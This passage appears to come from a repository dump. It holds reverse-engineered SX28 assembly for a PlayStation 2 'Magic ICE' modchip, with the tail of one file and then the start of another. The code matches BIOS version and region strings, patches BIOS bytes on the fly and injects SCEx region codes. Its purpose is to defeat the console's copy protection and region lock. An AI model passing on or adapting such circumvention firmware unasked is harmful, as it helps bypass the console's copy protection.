CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp IS_XCDVDMAN page $0400 jmp PS2_PS2LOGO:loopz ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP IFDEF SX48 org $0800 org $0A00 org $0C00 org $0E00 ENDIF end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

119,960

FINAL-REVERSE-define-restbump.s

;******************************************************************************** ; Final-fix ICE SX28 reverse ;******************************************************************************** device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ;DEFINE ;RSTBUMP EQU 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select IO_REST = rb.2 ; ; HIGH = 1 NOT PRESSED LOW = 0 = rest down = pressed IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; LOW = CD IN, HI = CD OUT IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;reg known VAR_DC1 equ $08 ; DS 1 ; delay counter 1(small) VAR_DC2 equ $09 ; DS 1 ; delay counter 2(small) VAR_DC3 equ $0A ; DS 1 ; delay counter 3(big) VAR_TOFFSET equ $0b ; DS 1 ; table offset VAR_PSX_TEMP equ $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BC_CDDVD_TEMP equ $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect VAR_PSX_BYTE equ $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PSX_BITC equ $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_BIOS_REV equ $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR equ $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP equ $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_SWITCH equ $0F ; DS 1 ; ? 0.94 comment ; bit 0=xcddvdman mode + PSX1 region switch, 1=PSX1/PSX2 wakeup mode, 2=PSX1 PAL/NTSC , 3=PSX2 logo patch , 4=DEV1 VAR_PATCH_FLAGS equ $0E ; DS 1 ; appears to be bits set for running patch routines .0-.7 for setb an offset ;------------------------------------------------------------ ;ps1 related = VAR_PATCH_FLAGS.0 ;PS1 DEV1 flow flag on completing ? ;reboot flow flag = VAR_PATCH_FLAGS.1 ;DEV1 PS1 flag for if to run mechacon patches ;MODE_START_END_REF = VAR_PATCH_FLAGS.2 ;seems to be ref for mode started and mode end, cleared when finished mode run or on reset if mode was incomplete finish not checking ;clrb on PS1_BOOT_MODE to set for flow PS1_MODE ? ;V9_V12_CONSOLE_19_20_BIOS = VAR_PATCH_FLAGS.3 ;also v11 1.9 bios has own ps1 routine ;BIOS_UK = VAR_PATCH_FLAGS.4 ;BIOS_USA = VAR_PATCH_FLAGS.5 ;BIOS_JAP = VAR_PATCH_FLAGS.6 ;SCEX inject loop flag = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH.0 = v12 console 2.0 bios set ;VAR_SWITCH.1 = PS1_MODE v12 2.0 bios console flag ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. ;VAR_SWITCH.2 = not used ;VAR_SWITCH.3 = PS2_MODE ref set when TAP_BOOT_MODE only clrb when end ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media ;VAR_SWITCH.4 = DEV1 FLAG set ;------------------------------------------------------------- ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital org $0000 ; PAGE1 000-1FF ;BOOT INITIALISE ALL IO AS INPUTS mode $000F ;XFh mode direction for RA, RB, RC output mov w,#$ff ;set w = #$ff = 1111 1111 ;all pins Hi-Z inputs mov !IO_BIOS_DATA,w ;above set for IO_BIOS_DATA ; rc mov w,#$ff ;set w = #$ff = 1111 1111 ;all pins Hi-Z inputs mov !IO_CDDVD_BUS,w ;above set for IO_CDDVD_BUS ;rb mov w,#$ff ;set w = #$ff = 1111 1111 ;all pins Hi-Z inputs mov !ra,w ;above set for ra ;BOOT INITIALISE IO_BIOS_DATA IO WAKEUP TYPES mode $000A ;rb WKED_B: Wakeup Edge Register (MODE=XAh) sense rising, low-to-high. ;Set the bit to 1 to sense falling (high-to-low) edges. The bit is set to 1 after all resets. mov w,#$8 ;set w = #$8 = 0000 1000 mov !IO_CDDVD_BUS,w ;rb.3 IO_EJECT set high-to-low sense mode $0009 ;rb WKPND_B: Wakeup Pending Flag Register (MODE=X9h) 0 indicates that no valid edge has occurred on the MIWU pin ? clr w ;set w = 0 mov !IO_CDDVD_BUS,w ;all rb IO_CDDVD_BUS mode $000B ;rb WKEN_B: Wakeup Enable Register (MODE=XBh) Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable, MIWU operation. see Section 4.4. ? mov w,#$f3 ;set w = #$f3 = 1111 0011 mov !IO_CDDVD_BUS,w ;set rb.2 IO_REST rb.3 IO_EJECT to enable MIWU operation mode $000F ;XFh mode direction for RA, RB, RC output sleep ;todo STARTUP mode $000D ;XDh mode direction for LVL_A, LVL_B, LVL_C mov w,#$f7 ;set w = #$f7 = 1111 0111 mov !IO_CDDVD_BUS,w ; ? mode $000F ;XFh mode direction for RA, RB, RC output mov w,#$7 ;set w = #$7 = 0000 0111 mov !ra,w ;set ra.0 IO_BIOS_OE ra.1 IO_CDDVD_OE_A_1Q ra.2 IO_SCEX as inputs mov w,#$ff ;set w = #$ff = 1111 1111 ;all pins Hi-Z inputs mov !IO_CDDVD_BUS,w ;set rb IO_CDDVD_BUS as inputs mov w,#$ff ;set w = #$ff = 1111 1111 ;all pins Hi-Z inputs mov !IO_BIOS_DATA,w ;set rc IO_BIOS_DATA as inputs mov w,#$c7 ;set w = #$c7 = 1100 0111 mov !option,w ; ? clr fsr mode $0009 ;!rb=Exchange WKPND_B clr w ;w = 0 mov !IO_CDDVD_BUS,w ;set IO_CDDVD_BUS Each bit indicates the status of the corresponding MIWU pin. ? ;A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ;The WKPND_B register comes up with undefine value upon reset mov VAR_PSX_BITC,w mode $000F ;XFh mode direction for RA, RB, RC output ; appears part of boot if boot is from ps1 auto detect due to VAR_PSX_BITC.2 VAR_PSX_BITC.1 checks snb pd ; ? if pd is true jmp CLEAR_CONSOLE_INFO_PREFIND jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 ; jmp PS1_BOOT_MODE if VAR_PSX_BITC.2 = 1 jmp PS1_BOOT_MODE snb IO_EJECT ; jmp TRAY_IS_EJECTED if IO_EJECT = 1 not HI ; CD out jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ; jmp POST_PATCH_4_MODE_START if VAR_PSX_BITC.1 = 1 page $0200 ; PAGE2 jmp POST_PATCH_4_MODE_START jmp POST_PATCH_4_MODE_START page $0200 ; PAGE2 jmp PS2_MODE_RB_IO_SET_SLEEP jmp PS2_MODE_RB_IO_SET_SLEEP ; jmp PS2_MODE_RB_IO_SET_SLEEP if VAR_PSX_BITC.1 = 0 CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ; clear any set VAR_PATCH_FLAGS clr VAR_SWITCH ; clear any set VAR_SWITCH jmp BIOS_GET_SYNC ; jmp to BIOS_GET_SYNC to start setting VAR_BIOS_REV, VAR_BIOS_YR, VAR_PATCH_FLAGS ;-------------------------------------------------------------------------------- MODE_SELECT_TIMER ;todo ; seems boot timer setting for decsz related to rtcc set ;-------------------------------------------------------------------------------- mov w,#$64 ;w = #$64 = 100 mov VAR_DC1,w ;set VAR_DC1 = #$64 =100 RTCC_SET_BIT mov w,#$3d ;w = #$3d = 61 mov rtcc,w ;rtcc = w RTCC_CHECK mov w,rtcc ;compare rtcc sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit ; IS TIME PRESSED FOR MODES jmp RTCC_SET_BIT retp ;Return from call,Same as RET but the return address bits 11, 10 & 9 (on the stack) are written to the page-select bits PA2, PA1 & PA0 in the STATUS register. ;Thus the page-select bits are properly set to the page being returned to. ;-------------------------------------------------------------------------------- SET_RB_IO_BUS ;todo ;-------------------------------------------------------------------------------- mode $000A ; rb WKED_B: Wakeup Edge Register (MODE=XAh) sense rising, low-to-high mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; rb WKPND_B: Wakeup Pending Flag Register (MODE=X9h) 0 indicates that no valid edge has occurred on the MIWU pin clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. A bit ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; rb WKEN_B: Wakeup Enable Register (MODE=XBh) Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable, MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled mode $000F ; XFh mode direction for RA, RB, RC output retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb VAR_PATCH_FLAGS.7 :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb VAR_PATCH_FLAGS.5 jmp usa snb VAR_PATCH_FLAGS.4 jmp uk jmp jap usa clr VAR_TOFFSET ; clear VAR_TOFFSET so runs at byte 0 scea jmp send_byte uk mov w,#$8 mov VAR_TOFFSET,w ; jump 8 bytes of SCEx_DATA to scee jmp send_byte jap mov w,#$4 mov VAR_TOFFSET,w ; jump 4 bytes of SCEx_DATA to scei send_byte mov w,#$b mov !ra,w ; output:SCEX, input:all others mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w ; 4 bytes to send next_byte mov w,VAR_TOFFSET call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w ; 8 bits in a byte call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_TOFFSET decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX ; SCEX LOW mov w,#$16 mov VAR_TOFFSET,w send_end call SCEX_LOW decsz VAR_TOFFSET jmp send_end mov w,#$f ; input:all mov !ra,w ret ;-------------------------------------------------------------------------------- ;BIOS_VERSION_MATCHING ;todo sx48 is ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 ; v14 and v0 support need this captured for x.00 of bios and extra compare 1 or 2 routine with current jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop mov w,#$30 ; ASCII 0 ; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb VAR_PATCH_FLAGS.5 jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_UK setb VAR_PATCH_FLAGS.4 jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb VAR_PATCH_FLAGS.6 RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST ; skip jmp PS1_BOOT_MODE if IO_REST = 1 HIGH jmp PS1_BOOT_MODE ; jmp PS1_BOOT_MODE if reset is not held/pressed ;bios rev check for flagging patch route for mode CHECK_IF_V9to12 setb VAR_PATCH_FLAGS.2 ; VAR_PATCH_FLAGS.2 set here related to start mode Version of BIOS compare ? mov w,#$30 ; ASCII 0 v12 ; v14 v0 support needed check after byte4 1 or 2 compare mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 snb z jmp START_BIOS_PATCH_SYNC_V9toV12 mov w,#$37 ; ASCII 7 50k v9-11 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 snb z jmp START_BIOS_PATCH_SYNC_V9toV12 mov w,#$39 ; ASCII 9 50k v9-11 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 snb z jmp START_BIOS_PATCH_SYNC_V9toV12 mov w,#$32 ; 32h = 50 mov VAR_DC1,w ; no match is assumed v1-v8 START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w ; is byte = #$1e sb z ; skip jump START_BIOS_PATCH_SYNC_V1toV8 if = #$1e jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 mov w,IO_BIOS_DATA-w ; is byte = #$0 sb z ; skip jump START_BIOS_PATCH_SYNC_V1toV8 if = #$0 jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$63 mov w,IO_BIOS_DATA-w ; is byte = #$63 sb z ; skip jump START_BIOS_PATCH_SYNC_V1toV8 if = #$63 jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$34 mov w,IO_BIOS_DATA-w ; is byte = #$34 sb z ; skip jump START_BIOS_PATCH_SYNC_V1toV8 if = #$34 jmp START_BIOS_PATCH_SYNC_V1toV8 BIOS_PATCH_SYNC_V1toV8_LOOP1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_PATCH_SYNC_V1toV8_LOOP1 nop mov w,#$24 mov w,IO_BIOS_DATA-w ; is byte = #$24 sb z ; skip jump BIOS_PATCH_SYNC_V1toV8_LOOP1 if = #$24 jmp BIOS_PATCH_SYNC_V1toV8_LOOP1 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$10 mov w,IO_BIOS_DATA-w ; is byte = #$10 sb z ; skip jump BIOS_PATCH_SYNC_V1toV8_LOOP1 if = #$10 jmp BIOS_PATCH_SYNC_V1toV8_LOOP1 BIOS_PATCH_SYNC_V1toV8_LOOP2 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp BIOS_PATCH_SYNC_V1toV8_LOOP2 BIOS_PATCH_SYNC_V1toV8_LOOP3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_PATCH_SYNC_V1toV8_LOOP3 decsz VAR_DC1 ;skip if VAR_DC1 = 0. start ; 32h = 50 jmp BIOS_PATCH_SYNC_V1toV8_LOOP2 mov w,#$0 mov IO_BIOS_DATA,w ; make IO_BIOS_DATA = #$0 mode $000F ; XFh mode direction for RA, RB, RC output call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 mov IO_BIOS_DATA,w ; patching 0 to bios call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 ; patching 0 to bios mov IO_BIOS_DATA,w BIOS_PATCH_SYNC_V1toV8_LOOP4 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp BIOS_PATCH_SYNC_V1toV8_LOOP4 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;IO_BIOS_DATA all set input, patching end jmp MODE_SELECT_START START_BIOS_PATCH_SYNC_V9toV12 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp START_BIOS_PATCH_SYNC_V9toV12 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV12 BIOS_PATCH_SYNC_V9toV12_LOOP1 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp BIOS_PATCH_SYNC_V9toV12_LOOP1 BIOS_PATCH_SYNC_V9toV12_LOOP2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_PATCH_SYNC_V9toV12_LOOP2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV12 BIOS_PATCH_SYNC_V9toV12_LOOP3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp BIOS_PATCH_SYNC_V9toV12_LOOP3 BIOS_PATCH_SYNC_V9toV12_LOOP4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_PATCH_SYNC_V9toV12_LOOP4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV12 BIOS_PATCH_SYNC_V9toV12_LOOP5 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp BIOS_PATCH_SYNC_V9toV12_LOOP5 BIOS_PATCH_SYNC_V9toV12_LOOP6 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_PATCH_SYNC_V9toV12_LOOP6 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV12 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA as output start patching once sync call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 ; patch 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 ; patch 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$0 ; patch 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;IO_BIOS_DATA all set input, patch end done for futher sync MODE_SELECT_START mov w,#$a ;todo once understand rtcc for timer mov VAR_DC2,w ; VAR_DC2 = a = 10 = 1sec MODE_SELECT_TIMER_L1 call MODE_SELECT_TIMER snb IO_REST ; jmp TAP_BOOT_MODE IO_REST = 1 HIGH jmp TAP_BOOT_MODE ; jmp TAP_BOOT_MODE if reset is NOT held/pressed decsz VAR_DC2 ; if jmp MODE_SELECT_TIMER_L1 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ; skip MODE_SELECT_TIMER_L2 IO_REST = 1 HIGH jmp MODE_SELECT_TIMER_L2 ; skip jmp MODE_SELECT_TIMER_L2 if reset is not held/pressed mov w,#$5 mov VAR_DC2,w ; VAR_DC2 5dec MODE_SELECT_TIMER_L3 call MODE_SELECT_TIMER decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 ; jmp MODE_SELECT_TIMER_L3 mov w,#$64 ; 100dec mov VAR_DC2,w ; DISABLE_MODE call MODE_SELECT_TIMER sb IO_REST ; skip jmp DEV1_MODE_LOAD_START IO_REST = 1 HIGH not pressed page $0600 ; PAGE8 jmp DEV1_MODE_LOAD_START ; skip jmp DEV1_MODE_LOAD_START if reset is not pressed 4sec + reset tap in 10sec decsz VAR_DC2 ; 10 sec timer to loop for dev1 mode same 4sec hold but release and press reset again withing 10secs. jmp DISABLE_MODE ; loop for 10secs sleep ; no following press is modchip is disabled = sleep. kept till next standby ? PS1_BOOT_MODE clr fsr ; fsr ? clrb VAR_PATCH_FLAGS.2 ; VAR_PATCH_FLAGS.2 clrb here related to cross ref on new mode run if last incomplete ? TAP_BOOT_MODE snb VAR_SWITCH.4 ; jmp DEV1_MODE_LOAD_START if VAR_SWITCH.4 = 1 . reset from boot mode kept from first standby mode set page $0600 ; PAGE8 jmp DEV1_MODE_LOAD_START setb VAR_PATCH_FLAGS.1 clrb VAR_PATCH_FLAGS.0 setb VAR_SWITCH.3 clrb VAR_SWITCH.1 page $0200 ; PAGE2 jmp PS2_MODE_START CHECK_IF_START_PS2LOGO clr fsr sb VAR_PATCH_FLAGS.2 ; jmp START_PS2LOGO_PATCH_LOAD if VAR_PATCH_FLAGS.2 not set meaning last process finished page $0400 ; PAGE4 jmp START_PS2LOGO_PATCH_LOAD sb VAR_PATCH_FLAGS.2 jmp TRAY_IS_EJECTED TRAY_IS_EJECTED sb IO_REST ; skip jmp PS1_BOOT_MODE if IO_REST = 1 HIGH jmp PS1_BOOT_MODE snb IO_EJECT ; jmp TRAY_IS_EJECTED if IO_EJECT = 1 not HI ; CD out jmp TRAY_IS_EJECTED RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w RESUME_MODE_FROM_EJECT_L2 mov w,#$3b mov rtcc,w ; timer related due to rtcc RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ; next byte / wait for bios CE high jmp RESUME_MODE_FROM_EJECT sb IO_REST ; skip jmp PS1_BOOT_MODE if IO_REST = 1 HIGH jmp PS1_BOOT_MODE snb IO_EJECT ; jmp TRAY_IS_EJECTED IO_EJECT = 1 not HI ; CD out jmp TRAY_IS_EJECTED mov w,rtcc ; timer related due to rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_RB_IO_BUS clr fsr snb VAR_SWITCH.4 page $0600 ; PAGE8 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_TOFFSET,w mov w,#$32 ; ascii 2 mov 